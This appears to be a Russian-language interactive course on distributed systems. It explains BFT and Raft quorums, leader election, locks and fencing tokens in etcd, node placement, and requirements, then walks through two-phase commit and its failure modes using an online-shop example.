    Проще говоря, откуда 3f + 1. Два кворума по 2f + 1 из 3f + 1 узлов пересекаются минимум в f + 1 узлах. Даже если f из них — лжецы, в пересечении остаётся хотя бы один честный. Он и не даст принять два разных решения. При 2f + 1 узлах пересечение может состоять из одного узла — и он может оказаться лжецом.
    Хотим пережитьПадения (Raft, Paxos)Вранье (BFT)
    1 плохой узел3 узла, кворум 24 узла, кворум 3
    2 плохих узла5 узлов, кворум 37 узлов, кворум 5
    3 плохих узла7 узлов, кворум 410 узлов, кворум 7

    PBFT (Practical Byzantine Fault Tolerance, Кастро и Лисков, 1999) — первый алгоритм BFT, пригодный для практики. На каждую операцию у него три фазы: pre-prepare (лидер предлагает порядок), prepare (узлы убеждаются, что всем предложено одно и то же), commit (фиксация). В фазах prepare и commit каждый шлёт каждому, поэтому сообщений примерно n². На 4–10 узлах это терпимо, на сотнях — нет. Более новые алгоритмы семейства HotStuff сокращают это число.

    Где нужен BFT

    Там, где участники не доверяют друг другу: блокчейны нескольких компаний или банков, публичные сети. Публичный Bitcoin использует другой подход — доказательство работы (proof of work): решение не абсолютное, а становится всё надёжнее с каждым новым блоком. Сети на CometBFT (бывший Tendermint) используют классический BFT с кворумом в две трети.

    Где хватает Raft

    Внутри одной компании, где все узлы — ваши. Там честность обеспечивают не алгоритмом, а инженерией: шифрование и взаимная проверка сертификатов между узлами (mTLS), контрольные суммы в журнале (у etcd они есть), надёжные диски, мониторинг и резервные копии. Показательно: Hyperledger Fabric много лет упорядочивал транзакции через Raft — участники доверяли узлам упорядочивания. Вариант с BFT (протокол SmartBFT) появился в нём только в версии 3.0, в 2024 году.

    Разложите: переживёт ли это Raft?

    Решено 0 из 0.

    глава 13 · инструменты архитектора выбор лидера через etcd, блокировки и токен ограждения

    Марине не нужно писать Raft. Ей нужно, чтобы у «Ботинка» ночная выгрузка заказов в службу доставки шла ровно в одном экземпляре, а главная копия резервов была одна. Для этого готовый кластер консенсуса используют как «нотариуса». Три главных приёма: выбор лидера, распределённая блокировка и хранение конфигурации.

    1. Выбор лидера для своих сервисов

    Аренда (lease) в etcd — «договор на время» с TTL, например 10 секунд. Клиент регулярно продлевает её (keep-alive). К аренде можно привязать ключи. Если клиент умер или потерял связь и не продлил аренду, etcd удаляет её вместе со всеми привязанными ключами.
    бронь столика в ресторане «до 19:15». Опоздали и не позвонили — столик отдают другим. Хотите держать дальше — звоните и продлевайте.

    Схема выбора лидера: каждый экземпляр сервиса пытается создать ключ /election/export со своей арендой — но только если ключа ещё нет. Это одна атомарная транзакция etcd. Кто успел — тот лидер: он продлевает аренду и работает. Остальные подписываются на ключ (watch) и ждут, пока тот исчезнет.

    # Готовые команды etcdctl — для проб руками
    etcdctl lease grant 10                      # аренда на 10 с → lease 694d8a1f2c3b5e01
    etcdctl put /svc/export/leader worker-1 --lease=694d8a1f2c3b5e01
    etcdctl lease keep-alive 694d8a1f2c3b5e01   # продлевать, пока живы
    
    etcdctl elect export-job worker-1           # выборы «из коробки»: ждёт, пока станет лидером
    etcdctl lock /locks/export ./run-export.sh  # выполнить команду под блокировкой

    В Kubernetes то же самое делают через объект Lease. Так выбирают лидера kube-controller-manager и kube-scheduler, так же может делать и ваш сервис — через библиотеку client-go. Сам объект хранится в etcd кластера.

    apiVersion: coordination.k8s.io/v1
    kind: Lease
    metadata:
      name: export-job
      namespace: shop
    spec:
      holderIdentity: export-7f9c-2        # кто сейчас лидер
      leaseDurationSeconds: 15             # сколько длится аренда без продления
      acquireTime: "2026-09-30T02:00:00.000000Z"
      renewTime:   "2026-09-30T02:03:10.000000Z"   # последнее продление
      leaseTransitions: 4                  # сколько раз менялся владелец
    Главная ловушка выбора лидера. Экземпляр, потерявший аренду, должен немедленно прекратить работу лидера. Но он может узнать о потере с опозданием — например, если сам «завис». Тогда какое-то время два экземпляра считают себя лидерами. Консенсус внутри etcd тут ни при чём: ошибка возникает снаружи, между etcd и вашим сервисом. Защита — токен ограждения ниже.

    2. Распределённая блокировка и токен ограждения

    Распределённая блокировка (distributed lock) — договорённость «эту работу сейчас делает только один». Её выдаёт кластер консенсуса, почти всегда с арендой: если владелец умер, блокировка освободится сама.
    Токен ограждения (fencing token) — число, которое растёт с каждой выдачей блокировки: 33, 34, 35… Владелец прикладывает его к каждой записи в хранилище. Хранилище помнит самый большой токен, который видело, и отвергает записи с меньшим. В etcd в роли токена подходит ревизия ключа блокировки: она монотонно растёт.
    номерок в гардеробе с порядковым номером смены. Гардеробщик сменился — старые номерки больше не принимаются, даже если человек с таким номерком уверен, что он «ещё на смене».

    Классический пример из статьи Мартина Клеппмана «Как делать распределённые блокировки» (2016). Два экземпляра ночной выгрузки «Ботинка» — Выгрузка-1 и Выгрузка-2 — пишут накладную для службы доставки. Писать должен один. Посмотрите, что сделает пауза сборки мусора, — без токена и с токеном.

    Вывод. Блокировка с арендой без токена ограждения — это блокировка «в большинстве случаев». Её хватает, чтобы не делать двойную работу ради экономии. Но её мало, чтобы защитить данные: для этого хранилище должно само проверять токен. Если хранилище так не умеет, операцию делают идемпотентной — повторное выполнение не вредит.

    3. Конфигурация и обнаружение сервисов

    Общая конфигурация

    Настройки, которые должны быть одинаковыми у всех: скидка, флаги функций, лимиты. Сервисы подписываются на ключи (watch) и узнают об изменении за доли секунды. Консенсус гарантирует: все увидят изменения в одном и том же порядке.

    Обнаружение сервисов (service discovery)

    Каждый экземпляр регистрирует свой адрес в ключе с арендой. Умер — аренда истекла — адрес исчез из списка. Так работают Consul и сама Kubernetes (адреса подов попадают в etcd через API-сервер).

    Чего НЕ хранить в etcd. Это хранилище координации, а не база. Квота по умолчанию — 2 ГБ, один запрос по умолчанию — до 1,5 МБ. Каждая запись идёт через консенсус. Заказы, картинки товаров и журналы там не место — только небольшие, редко меняющиеся и очень важные данные.
    Не пишите Raft сами. Даже по понятной статье правильная реализация — годы работы и тестов. Нужна координация — берите etcd, Consul или ZooKeeper. Нужна база с консенсусом — берите ту, где он встроен. Если вы действительно делаете свою базу, есть проверенные библиотеки: etcd-io/raft и hashicorp/raft (Go), Apache Ratis и SOFAJRaft (Java), openraft (Rust).

    глава 14 · цена и размещение сколько стоит каждая запись и куда ставить узлы

    Консенсус не бесплатен. Каждая запись ждёт большинство. Поэтому задержка записи и отказоустойчивость зависят от того, где стоят узлы.

    Из чего складывается время одной записи

    1
    Клиент → лидер. Если клиент далеко от лидера — плюс поездка по сети.
    2
    Лидер пишет на диск и параллельно рассылает фолловерам. fsync на хорошем SSD — доли миллисекунды — миллисекунда, на медленном диске — десятки. Медленный диск — главная причина проблем etcd.
    3
    Ждём столько ответов, чтобы вместе с лидером набралось большинство. Из 5 узлов нужны 2 ответа — то есть задержка равна второму по скорости фолловеру: время туда-обратно до него плюс его fsync. Самые медленные не мешают.
    4
    Коммит, применение, ответ клиенту. Обычно мелочь по сравнению с сетью.
    Проще говоря: запись стоит одну поездку по сети до «ближайшего большинства». Если все узлы в одном ЦОД — это доли миллисекунды. Если большинство собирается только через другой регион — десятки миллисекунд на каждую запись. Никакая оптимизация этого не отменит: скорость света.
    Где узлыСеть туда-обратно, порядок величиныЧто это значит для записи
    Одна стойка / один ЦОД0,1–0,5 мсБыстро, но стойка или ЦОД — единая точка отказа
    Зоны доступности одного регионаобычно 1–2 мсСтандартный выбор: пережили потерю ЦОД, запись всё ещё быстрая
    Регионы одной страныдесятки мсГодится для редких записей (конфигурация), тяжело для горячих данных
    Разные континенты70–150 мс и большеКаждая запись ≥ этого времени. Нужны особые приёмы: лидер ближе к клиентам, данные по регионам

    Калькулятор размещения по зонам

    Выберите, сколько узлов и как они разложены по зонам доступности (отдельным ЦОД с независимым питанием и сетью). Калькулятор покажет, переживёт ли кластер потерю целой зоны и сколько будет стоить каждая запись.

    —
    Кворум: — Потеря любой зоны: — Запись, лидер в лучшей зоне: — Запись, лидер в худшей зоне: —
    Что заложено в расчёт. Внутри зоны сеть туда-обратно — 0,2 мс, запись на диск — 1 мс. Лидеру нужно столько ответов, чтобы вместе с ним набралось большинство. Задержка записи — время до самого медленного из нужных ответов плюс диск. «Худшая зона» — если после сбоя лидером станет узел в самой неудобной зоне.
    ЗадачаРазумное размещение
    Кластер координации (etcd под Kubernetes, Patroni) в одном регионе3 узла в 3 зонах. Нужна возможность обслуживать узел без потери запаса — 5 узлов в 3 зонах (2 + 2 + 1)
    Всего две зоны (два ЦОД)Честно пережить потерю любой из двух нельзя. Нужен третий «арбитр» в третьем месте — хоть маленький узел в облаке. Без него потеря «большой» зоны останавливает запись
    Три региона, данные должны пережить потерю региона5 узлов: 2 + 2 + 1. Лидер — в регионе с основными клиентами, большинство собирается с ближайшим соседним регионом
    Очень большой объём данныхНе один большой кластер, а много групп Raft по 3–5 копий (Multi-Raft), как в CockroachDB, TiKV и YugabyteDB. У каждой группы свой лидер, нагрузка распределяется
    Лидера можно передвинуть. Если клиенты в одной зоне, выгодно держать лидера там же: etcdctl move-leader <id> передаёт лидерство без выборов по таймауту. В распределённых SQL-базах для этого есть настройки предпочтительного размещения лидеров.

    глава 15 · в требованиях как это звучит у аналитика и какие ошибки делают чаще всего

    Аналитик не выбирает алгоритм консенсуса. Но именно он пишет требования, из которых следует, нужен ли консенсус, сколько узлов и в каких зонах. Вот как это звучит, когда написано хорошо.

    Формулировка требованияЧто из неё следует технически
    «Подтверждённый резерв не теряется при отказе любого одного сервера (RPO = 0 при отказе одного узла)»Синхронная репликация на большинство: минимум 3 узла, ответ клиенту после записи у 2 из 3
    «Система сохраняет приём заказов и подтверждённые данные при потере одной зоны доступности»Узлы минимум в 3 зонах: 3 (1 + 1 + 1) или 5 (2 + 2 + 1). Две зоны не подходят
    «Автоматическое переключение при отказе главного узла — не дольше 10 с (RTO ≤ 10 с), без участия человека»Выбор лидера через консенсус; таймаут выборов и проверки здоровья подобраны под это время
    «В любой момент выгрузку в службу доставки выполняет не более одного экземпляра; хранилище отвергает запись от экземпляра, потерявшего право»Выбор лидера через аренду плюс токен ограждения на стороне хранилища
    «Остаток при оформлении заказа читается актуальным (с учётом всех подтверждённых резервов); в каталоге допустимо отставание до 2 с»Два вида чтения: линеаризуемое (ReadIndex у лидера) для оформления и дешёвое локальное для каталога
    «Время подтверждения записи p99 ≤ 20 мс при размещении в трёх зонах одного региона»Проверяемо: сеть между зонами 1–2 мс плюс диск. Если зоны в разных регионах — требование невыполнимо, это надо сказать сразу
    «При потере связи между площадками меньшая площадка переходит в режим „только чтение“ и явно сообщает об этом пользователям»Честно описанное поведение при разрезе сети: меньшинство не принимает запись

    Вопросы, которые аналитик задаёт команде

    • Что будет с записью, пока выбирается новый лидер? Сколько это длится? Есть ли у клиентов повторы?
    • Какие чтения обязаны быть свежими, а какие могут отставать? Откуда читаем — с лидера или с любого узла?
    • Сколько узлов, в каких зонах? Что будет при потере одной зоны? А двух?
    • Если клиент получил таймаут — применилась команда или нет? Как повтор не превратится в двойное списание?
    • Если используется блокировка или выбор лидера — что сделает экземпляр, потерявший аренду? Проверяет ли хранилище токен?
    • Кто и как заменяет вышедший из строя узел кластера? Есть ли инструкция и мониторинг?

    Частые ошибки

    Тренажёр: так можно или это ошибка?

    Решено 0 из 0.

    глава 16 · проверь себя двенадцать вопросов по консенсусу и Raft

    Решено 0 из 0.

    Дальше → распределённые транзакции: как сделать одну операцию сразу в нескольких базах, двухфазный коммит и почему координатор — слабое место

    Когда одна покупка меняет три базы, «всё или ничего» перестаёт быть бесплатным. Анна оплачивает кроссовки. Деньги списываются в «Кошельке», пара резервируется на «Складе», заказ создаётся в «Заказах» — и у каждого своя база. В этом разделе мы разберём честный способ сделать это атомарно — двухфазный коммит, сломаем его во всех местах, где он ломается, и посмотрим, чем его заменяют, когда он слишком дорог.

    зачем это зачем разбираться в распределённых транзакциях

    карта раздела одна оплата, четырнадцать глав

    Читайте по порядку: главы 2–6 — это один протокол, разобранный до винтика, дальше — его родственники и замены. Кнопка переносит к главе.

    глава 1 · завязка одна кнопка «Оплатить» — три базы данных

    Пятница, 19:40. Анна выбрала кроссовки «Бег-42», размер 38, за 4 990 ₽. На внутреннем счёте в «Ботинке» у неё 12 000 ₽ — возврат за прошлый заказ. Она жмёт «Оплатить с баланса». Для Анны это одно действие. Внутри магазина их три, и выполняют их три разных сервиса:

    💳 Кошелёк

    Списывает 4 990 ₽ со счёта Анны: было 12 000, станет 7 010. Своя база, своя команда.

    📦 Склад

    Резервирует пару «Бег-42», размер 38: свободных было 3, станет 2. Своя база.

    🧾 Заказы

    Создаёт заказ №1042 со статусом «оплачен». Своя база.

    Пока «Ботинок» был монолитом с одной базой, всё это делалось в одной транзакции: либо все три изменения, либо ни одного (это разобрано в разделе , глава про ACID). Потом магазин разрезали на сервисы, и у каждого появилась своя база. Общей транзакции не стало.

    Распределённая транзакция (distributed transaction) — одна логическая операция, которая меняет данные в нескольких независимых хранилищах (базах, сервисах, брокерах сообщений) и должна выполниться во всех либо целиком, либо никак.
    вы с другом покупаете подарок вскладчину в двух магазинах: чашку в одном, коробку в другом. Подарок имеет смысл только целиком. Купили чашку, а коробки не оказалось — у вас на руках половина, и её придётся либо сдавать, либо докупать где-то ещё.

    Попробуйте «просто по очереди»

    Самое очевидное решение — вызвать три сервиса подряд. Каждый сделает свою часть в своей базе и скажет «готово». Выберите, где случится сбой, и нажмите «Оплатить».

    Почему не спасает обычная транзакция

    Разработчик Борис предлагает: «Давайте просто повесим @Transactional на метод оплаты». Посмотрим, что это даст.

    @Transactional                              // транзакция ОДНОЙ базы — базы «Заказов»
    public void pay(Order o) {
        walletClient.debit(o.user(), 4990);     // HTTP-вызов в «Кошелёк»: там своя база,
                                                // своя транзакция, и она УЖЕ зафиксирована
        stockClient.reserve(o.sku(), 1);        // HTTP-вызов в «Склад»: тоже уже COMMIT
        orders.save(o);                         // вот это — внутри нашей транзакции
    }                                           // упали здесь → откатится только save()

    Транзакция — это обещание одной базы. Её журнал, её блокировки, её COMMIT. База «Кошелька» ничего не знает о транзакции «Заказов»: когда HTTP-вызов вернул «ОК», списание там уже окончательное. Даже если подключить к одному процессу две базы напрямую, у каждой будет свой COMMIT: сначала зафиксируем первую, потом упадём перед второй — и получим ту же половинку.

    Почему нельзя просто «договориться сообщениями». Есть классическая задача о двух генералах: они стоят по разные стороны вражеской долины и шлют гонцов, которых могут перехватить. Можно доказать, что никакое конечное число сообщений не даст обоим полной уверенности «мы оба знаем, что атакуем в 6 утра». Сеть между сервисами — та же долина. Поэтому все протоколы в этом разделе не пытаются добиться «одновременного знания». Они опираются на другое: обещания, записанные на диск, и готовность ждать или исправлять потом.
    Проще говоря. Мы хотим атомарность поверх границы баз: либо все три изменения, либо ни одного, и чтобы ни падение сервера, ни потеря сообщения не оставили половинку. Решений два семейства. Первое — честно договориться до фиксации: двухфазный коммит и его родственники (главы 2–10). Второе — делать по шагам и уметь исправить: TCC, сага, outbox (главы 11–12).

    глава 2 · идея сначала спросить всех, потом командовать

    Идея двухфазного коммита очень старая — её описали в 1970-х исследователи баз данных (среди них Джим Грей). Она проста до обидного: прежде чем кто-то что-то зафиксирует, нужно убедиться, что зафиксировать смогут все. А убедившись — дать команду, которую уже никто не отменит.

    Двухфазный коммит (2PC, two-phase commit) — протокол фиксации распределённой транзакции в две фазы. Фаза 1 — голосование: координатор спрашивает каждого участника «можешь гарантированно зафиксировать?». Фаза 2 — решение: если все ответили «да», координатор командует «фиксируем» (COMMIT), если хоть один сказал «нет» или промолчал — «отменяем» (ABORT).
    Координатор (coordinator), он же менеджер транзакций (transaction manager, TM) — тот, кто ведёт распределённую транзакцию: знает список участников, собирает голоса, принимает решение, записывает его в свой журнал и рассылает. Это может быть отдельный сервис, библиотека внутри приложения или один из узлов распределённой базы.
    Участник (participant), он же менеджер ресурсов (resource manager, RM) — база данных или другой ресурс, где лежит часть данных. Умеет три вещи: подготовиться («гарантирую, что смогу»), зафиксировать и отменить — по команде координатора.
    свадьба. Регистратор (координатор) спрашивает невесту: «Согласны?» — «Да». Спрашивает жениха: «Согласны?» — «Да». Это первая фаза. Только услышав два «да», регистратор делает запись в книге и объявляет: «Вы — муж и жена». Это вторая. Если кто-то сказал «нет» — свадьбы нет ни для кого. И обратите внимание: сказав «да», невеста уже не может выйти из зала со словами «я передумала» — она ждёт, что объявит регистратор.
    сделка с квартирой у нотариуса. Покупатель заранее кладёт деньги на специальный счёт, продавец приносит документы — оба «подготовились». Нотариус проверяет, что готовы обе стороны, и удостоверяет сделку — это точка невозврата. Дальше деньги уходят продавцу, а право собственности — покупателю, даже если кто-то из них завтра заболеет: решение записано, его исполнят.

    Кто есть кто в истории Анны

    Роль в 2PCКто в «Ботинке»На свадьбе
    Координаторсервис оформления заказа (или менеджер транзакций внутри него)регистратор
    Участникибазы «Кошелька», «Склада» и «Заказов»жених и невеста
    PREPARE — «приготовься»«спишите 4 990 ₽ и гарантируйте, что сможете это зафиксировать»«Согласны?»
    Голос ДА / НЕТ«Подготовлено, обещаю» / «Не могу: денег не хватает»«Да» / «Нет»
    Журнал координаторафайл на диске координатора, куда пишется решениекнига записи актов
    COMMIT / ABORT«фиксируйте» / «отменяйте»«Объявляю вас мужем и женой» / «Свадьба отменяется»
    ACK — подтверждение«зафиксировал, можно забыть»подписи в книге

    Два правила, на которых держится всё

    правило участникаСказал «ДА» — больше не хозяин своей транзакции. До голосования участник может отменить всё сам, по любой причине. Но после «ДА» он не вправе ни отменить (координатор уже может командовать COMMIT), ни зафиксировать (координатор может командовать ABORT). Он обязан ждать решения — сколько бы ни пришлось.
    правило координатораСначала решение — на диск, потом — в сеть. Координатор записывает COMMIT в свой журнал и только после этого рассылает. Иначе он может упасть, успев сказать «COMMIT» одному участнику, и после перезапуска не вспомнить, что решил. Запись решения на диск — это и есть точка невозврата всей транзакции.
    И третье правило, которое следует из первых двух. Пока решение не записано, координатор тоже вправе отменить транзакцию — например, если кто-то не ответил вовремя. Отменять можно, пока не пройдена точка невозврата. После неё — только доводить до конца.

    Жизнь участника и координатора — как смена состояний

    участник (например, база «Склада»)
    работает— PREPARE, запись на диск, «ДА» → подготовленадальше — только по команде — COMMIT →зафиксирована или — ABORT →отменена
    работает— «НЕТ» или сбой до голосования →отменена · а если решение долго не приходит:сомнительная (in-doubt)
    координатор
    собирает голоса→ решение в журналеточка невозврата →рассылает решение→ все ACK →конец, можно забыть
    Проще говоря. 2PC превращает «одновременно сделать в трёх местах» в «три места сначала пообещали, потом один решил». Обещание и решение записаны на диск, поэтому переживают перезагрузку. А цена — ожидание: между обещанием и решением участник стоит на месте и держит свои данные запертыми.

    глава 3 · фаза 1 подготовка: что участник делает, когда слышит PREPARE

    Разберём первую фазу на примере Склада. Координатор прислал: «Транзакция T1. Зарезервируй пару “Бег-42”, размер 38, и приготовься». Что происходит внутри базы Склада — по шагам:

    1
    Выполнить работу. UPDATE stock SET free = free − 1, reserved = reserved + 1 WHERE sku = 'Бег-42/38' AND free > 0. Изменения пока лежат «черновиком» внутри транзакции — снаружи их никто не видит.Зачем: без этого нечего обещать. Если товара нет, база узнает об этом здесь.
    2
    Запереть строки. На строку «Бег-42/38» ставится блокировка записи. Другая транзакция, которая захочет изменить ту же строку (Борис покупает такую же пару), встанет в очередь.Зачем: чтобы никто не «увёл» последнюю пару, пока мы ждём решения. Обещание «смогу зафиксировать» без блокировки — пустые слова.
    3
    Проверить правила. Ограничения схемы, отложенные проверки, конфликты с параллельными транзакциями — всё, что могло бы помешать фиксации, проверяется сейчас.Зачем: после «ДА» отказать уже нельзя. Все причины сказать «нет» надо исчерпать до голосования.
    4
    Записать всё в журнал и сбросить на диск. В журнал (WAL) пишутся изменения и отдельная запись «T1 подготовлена». Потом — fsync: принудительный сброс на физический диск, а не в кеш операционной системы.Зачем: если через секунду выключат свет, после перезапуска база должна найти в журнале «T1 подготовлена», восстановить черновик и снова поставить замки. Обещание обязано пережить перезагрузку.
    5
    Ответить «ДА». Только теперь, когда обещание на диске, участник отправляет голос.Зачем такой порядок: если ответить «ДА» до записи и упасть, координатор решит COMMIT, а участник после перезапуска ничего не вспомнит и откатит — половинка.
    Уточнение для точности. В настоящих базах шаги 1–2 обычно происходят раньше: приложение открывает транзакцию и выполняет UPDATE заранее, а команда PREPARE приходит в момент, когда приложение говорит «коммит». Тогда PREPARE — это шаги 3–5: «проверь, запиши на диск, ответь». На пульте в главе 5 мы для наглядности склеили работу и подготовку в одно действие.

    Когда участник говорит «НЕТ»

    Бизнес-причина

    Последнюю пару только что купили. На счёте не хватает денег. Нарушено ограничение схемы. Участник откатывает свою часть и голосует «НЕТ».

    Техническая причина

    Конфликт с параллельной транзакцией (взаимная блокировка, ошибка сериализации), кончилось место на диске, база перезапускалась и потеряла черновик. Тоже «НЕТ».

    Участник сам не дождался

    Работа сделана, а PREPARE всё не приходит. До голосования участник вправе отменить сам — по своему таймауту. Если потом придёт PREPARE, он ответит «НЕТ».

    Ответ не дошёл

    Голос «ДА» потерялся в сети. Для координатора это молчание, а молчание = «НЕТ»: подождав, он решит ABORT. Участнику придётся дождаться этой команды — ведь сам он уже сказал «ДА».

    Весь протокол на одном секвенсе

    Анна жмёт «Оплатить». Пройдите по стрелкам. Фаза 1 — шаги 2–9, фаза 2 — дальше. Время указано для одного дата-центра.

    Что лежит на диске у каждого после фазы 1

    КтоВ журнале на дискеЧто запертоЧто он вправе делать
    КошелёкT1: anna 12 000 → 7 010
    T1: PREPARED
    строка счёта annaтолько ждать COMMIT или ABORT
    СкладT1: Бег-42/38 резерв +1
    T1: PREPARED
    строка остатка Бег-42/38только ждать
    ЗаказыT1: INSERT заказ №1042
    T1: PREPARED
    новая строка заказа и её ключтолько ждать
    КоординаторT1 начата, участники: К, С, Зничегорешить: все «ДА» → COMMIT, иначе ABORT
    Проще говоря. Фаза 1 — это превращение «наверное, получится» в «гарантированно получится, если скажут». Три участника сделали работу, заперли данные, записали обещание на диск и ждут. Вся гибкость у них кончилась в момент «ДА».

    глава 4 · фаза 2 решение, точка невозврата и восстановление по журналам

    Координатор собрал голоса. Дальше — вторая фаза. Она короче, но именно в ней прячутся самые неприятные сбои.

    1
    Решить. Все три «ДА» → COMMIT. Хоть одно «НЕТ» или кто-то не ответил за отведённое время → ABORT.
    2
    Записать решение в свой журнал и сбросить на диск. Строка «T1: РЕШЕНИЕ = COMMIT» + fsync.С этой секунды транзакция зафиксирована — логически, для всего мира, хотя ни один участник об этом ещё не знает.
    3
    Разослать решение. COMMIT уходит всем трём. Можно сразу ответить Анне «Оплачено» — решение уже не изменится.
    4
    Участник применяет. Пишет в журнал «T1: COMMIT», делает изменения видимыми, снимает блокировки, отвечает ACK.Только здесь Борис, который ждал ту же пару, наконец получает ответ.
    5
    Забыть. Когда пришли все ACK, координатор пишет «T1: конец» и может выбросить транзакцию из памяти и журнала. Пока ACK нет — повторяет COMMIT тем, кто молчит. Повтор безопасен: второй COMMIT для уже зафиксированной транзакции ничего не меняет.
    Точка невозврата (commit point) — момент, после которого исход транзакции определён навсегда. В 2PC это запись решения COMMIT в журнал координатора на диске. До неё любой отказ ведёт к отмене. После неё любой отказ ведёт к тому, что транзакция будет доведена до конца — пусть и через час.
    вы бросили письмо в почтовый ящик. До этого можно передумать и порвать конверт. После — письмо дойдёт, даже если почтальон заболел: его отнесёт другой. Ящик — точка невозврата.

    Восстановление: что каждый делает после перезапуска

    Весь смысл журналов — в том, что после любого падения узел читает свой журнал и точно знает, что делать дальше. Вот полная таблица правил.

    Кто поднялсяЧто нашёл в журналеЧто делаетПочему так можно
    Участникнет записи PREPAREDоткатывает транзакцию сам, молчаон не голосовал «ДА» — никто не рассчитывает на его обещание; координатор без голоса решит ABORT
    PREPARED, а исхода нетвосстанавливает черновик, снова ставит блокировки, спрашивает координатора «как решили?» и ждётон обещал; решение мог принять только координатор
    COMMIT или ABORTничего: транзакция завершена; если координатор повторит COMMIT — ответит ACKисход уже применён
    Координатор«T1 начата», решения нетрешает ABORT и сообщает участникамточка невозврата не пройдена; ни один участник не мог получить COMMIT
    РЕШЕНИЕ = COMMIT, «конца» нетрассылает COMMIT снова всем, кто не подтвердилрешение принято; его надо довести
    «T1: конец»ничеговсе всё знают
    Предполагаемая отмена (presumed abort) — соглашение, которое используют почти все реализации: «если координатор ничего не помнит о транзакции, значит, она отменена». Благодаря ему координатору не нужно записывать на диск решения ABORT и собирать на них подтверждения: спросят — ответит «ABORT». Экономия на каждой отменённой транзакции.

    Две частые оптимизации

    Участник «только читал» (read-only)

    Если участник в этой транзакции ничего не менял, на PREPARE он отвечает «я только читал» и выходит из игры: во второй фазе его не спрашивают, и замки он отпускает сразу. В стандарте XA это ответ XA_RDONLY.

    Участник один (one-phase commit)

    Если в транзакции оказался всего один ресурс, голосовать не с кем — координатор сразу командует COMMIT одной фазой. Менеджеры транзакций делают это сами, поэтому «распределённая» транзакция с одной базой стоит почти как обычная.

    Когда Анна получает ответ? Можно ответить «Оплачено» сразу после записи решения (шаг 2): оно уже необратимо. Но участники применят его чуть позже — и если Анна мгновенно откроет «Мои заказы», запрос может прийти в базу Заказов раньше, чем туда дойдёт COMMIT. Поэтому многие системы отвечают клиенту только после второй фазы. Это выбор между задержкой ответа и мгновенной видимостью — его стоит зафиксировать в требованиях.
    Проще говоря. Журналы превращают падения в паузы. Упал и поднялся — прочитал журнал и продолжил с того же места. Ни одна комбинация падений не ведёт к половинке. Но пауза может оказаться очень длинной, и всё это время данные заперты. Об этом — следующие две главы.

    глава 5 · пульт двухфазный коммит, который можно ломать

    Это живая модель оплаты Анны. Слева — координатор, справа — три участника. По линиям летят сообщения. У каждого узла видно состояние, журнал на диске и замок на строке с таймером: сколько секунд строка недоступна другим покупателям.

    Выберите сценарий и нажмите «▶ Запустить». Потом пробуйте сами: роняйте узлы кнопкой 💥 в любой момент, теряйте сообщения, перезапускайте упавших кнопкой 🔄 — и смотрите, как узел восстанавливается по журналу.

    Журнал событий

    Как читать модель. Время замедлено примерно в тысячу раз: перелёт сообщения — 1 секунда модели (в жизни — доли миллисекунды внутри дата-центра), запись на диск — 0,4 с. Поэтому обычная оплата «держит замки» около 4 секунд модели — в жизни это единицы миллисекунд. А вот простой упавшего узла в жизни — это минуты и часы. Сравнивайте не абсолютные числа, а разницу: 4 секунды в обычном прогоне против 40, пока лежит координатор. Координатор ждёт голоса не дольше 6 с, повторяет COMMIT каждые 3 с, а участник, не дождавшийся решения за 3,5 с, начинает спрашивать сам.
    Что стоит попробовать. ① «Всё хорошо» — запомните порядок записей в журналах. ② «Координатор падает до решения» — посмотрите, как растут замки, пока он лежит. ③ «Координатор успел сказать COMMIT только Кошельку» — нажмите «🧑‍🔧 Администратор», и увидите, почему участникам нельзя решать самим. ④ Во время любого прогона уроните Склад сразу после его «ДА» и поднимите через 10 секунд.

    глава 6 · атлас сбоев семь поломок по очереди: кто ждёт и что заперто

    В 2PC есть всего несколько мест, где что-то может сломаться, и для каждого протокол знает ответ. Разберём их по порядку — от безобидных к самым неприятным. У каждого случая есть кнопка «проиграть на пульте».

    Сомнительная транзакция (in-doubt transaction) — транзакция, которую участник подготовил (сказал «ДА»), но решения координатора не знает. Участник не вправе ни зафиксировать её, ни отменить и держит все её блокировки, пока не узнает исход.
    вы сказали регистратору «да», а он упал в обморок, не договорив. Уйти нельзя — вдруг вы уже женаты. Объявить себя женатым тоже нельзя — вдруг регистратор успел услышать «нет» от второй стороны. Остаётся стоять у стола и ждать, пока его приведут в чувство.
    Блокирующий протокол (blocking protocol) — протокол, в котором отказ одного узла может остановить остальных до его возвращения. 2PC — блокирующий: если координатор упал после того, как участники сказали «ДА», они ждут его сколь угодно долго, и никакой таймаут не даёт им права решить самим.

    Секвенс: участник говорит «НЕТ»

    Самый мирный из сбоев. Склад обнаружил, что последнюю пару только что купили.

    Секвенс: координатор упал после записи решения

    А это — тот самый случай, из-за которого 2PC называют блокирующим.

    А нельзя ли спросить соседей?

    Можно, и это частично помогает. Если участники знают друг друга, сомнительный Склад может спросить Кошелёк и Заказы. Такой приём называют кооперативным завершением (cooperative termination).

    ✅ Сосед знает исход

    Кошелёк уже получил COMMIT → значит, решение COMMIT, Склад может фиксировать. Кошелёк получил ABORT → отменяем. Кошелёк ещё не голосовал → координатор точно не мог решить COMMIT, отменяем.

    ❌ Все живые — тоже «подготовлены»

    Кошелёк и Заказы сами сказали «ДА» и решения не знают. Тогда не знает никто, кроме лежащего координатора. Ждём. Именно этот случай и делает 2PC блокирующим — и никакие хитрости внутри 2PC его не убирают.

    Эвристика: когда ждать больше нельзя

    Эвристическое решение (heuristic decision) — решение по сомнительной транзакции, принятое в обход координатора: администратором вручную или самой базой по таймауту. Это осознанное нарушение протокола ради того, чтобы разблокировать данные.

    В стандарте XA на такие случаи есть специальные ответы участника: «я уже зафиксировал сам» (XA_HEURCOM), «я уже откатил сам» (XA_HEURRB) и самый неприятный — «часть зафиксирована, часть откачена» (XA_HEURMIX). Получив их, менеджер транзакций не может ничего исправить: он только сообщает о расхождении, и дальше его разбирают люди.

    Что это значит для аналитика. Если в системе есть 2PC, в ней обязательно должны быть: мониторинг сомнительных транзакций, регламент «кто и как принимает эвристическое решение» и процедура сверки после него. Эвристика — это не «починили», а «сознательно рискнули атомарностью, чтобы не стоять». Попробуйте на пульте сценарий «координатор успел сказать COMMIT только Кошельку» и кнопку «🧑‍🔧 Администратор».
    Проще говоря. 2PC никогда не приводит к половинке сам. Все его сбои превращаются либо в отмену, либо в ожидание. Ожидание безопасно, но заперто всё, что трогала транзакция. Половинку делают люди и таймауты, которые решают за координатора.

    глава 7 · цена задержка, замки, доступность: посчитайте сами

    2PC честно даёт атомарность. Платим за неё четырьмя вещами. Посчитаем каждую на ползунках.

    3
    —
    —
    —
    Из чего складывается время, пока строка заперта:
    сетьfsync участникаfsync координатора
